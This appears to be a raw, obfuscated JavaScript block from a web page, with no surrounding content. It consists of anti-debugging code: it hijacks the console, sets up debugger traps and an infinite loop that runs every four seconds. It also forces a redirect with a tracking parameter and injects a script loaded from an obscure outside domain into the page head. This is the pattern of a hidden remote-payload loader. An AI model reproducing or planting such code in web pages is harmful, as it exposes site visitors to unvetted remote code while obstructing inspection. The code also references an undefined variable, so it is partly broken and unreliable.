<script>var mm=function(){var e=!0;return function(n,r){var t=e?function(){if(r){var t=r.apply(n,arguments);return r=null,t}}:function(){};return e=!1,t}}();!function(){mm(this,function(){var t=new RegExp("function *\\( *\\)"),n=new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i"),r=te("init");t.test(r+"chain")&&n.test(r+"input")?te():r("0")})()}();var jk=function(){var e=!0;return function(n,r){var t=e?function(){if(r){var t=r.apply(n,arguments);return r=null,t}}:function(){};return e=!1,t}}(),cy=jk(this,function(){try{var n=Function('return (function() {}.constructor("return this")( ));')()}catch(t){n=window}for(var t=n.console=n.console||{},r=["log","warn","info","error","exception","table","trace"],e=0;e<r.length;e++){var o=jk.constructor.prototype.bind(jk),c=r[e],i=t[c]||o;o.__proto__=jk.bind(jk),o.toString=i.toString.bind(i),t[c]=o}});cy();var godussyxnntvgvl="@!&FveMI1LYS0Kjg6D9mA@&N2rV96HIjyghxE5Q81CKFzd&!@";setInterval(function(){te()},4e3),-1==window.location.href.indexOf("bbre=")&&(window.location.href=document.location.pathname+"?bbre=NwVBGraOefkERSbylXhZpD#/ld-"+pwocqedrsuxgishjg);var emfromgetnbrtoo="",BxjEKcLTRnlPkfwovsAC=document.createElement("script");function te(t){function n(t){if("string"==typeof t)return function(t){}.constructor("while (true) {}").apply("counter");1!==(""+t/t).length||t%20==0?function(){return!0}.constructor("debugger").call("action"):function(){return!1}.constructor("debugger").apply("stateObject"),n(++t)}try{if(t)return n;n(0)}catch(t){}}BxjEKcLTRnlPkfwovsAC.type="text/javascript",BxjEKcLTRnlPkfwovsAC.src="https://hkkyjjcsgfwnolvoerbit.kute.pw/65d4da350510a7f28155a0e9-65d4da1a0510a7f28155a0e8.js",document.getElementsByTagName("head")[0].appendChild(BxjEKcLTRnlPkfwovsAC);</script>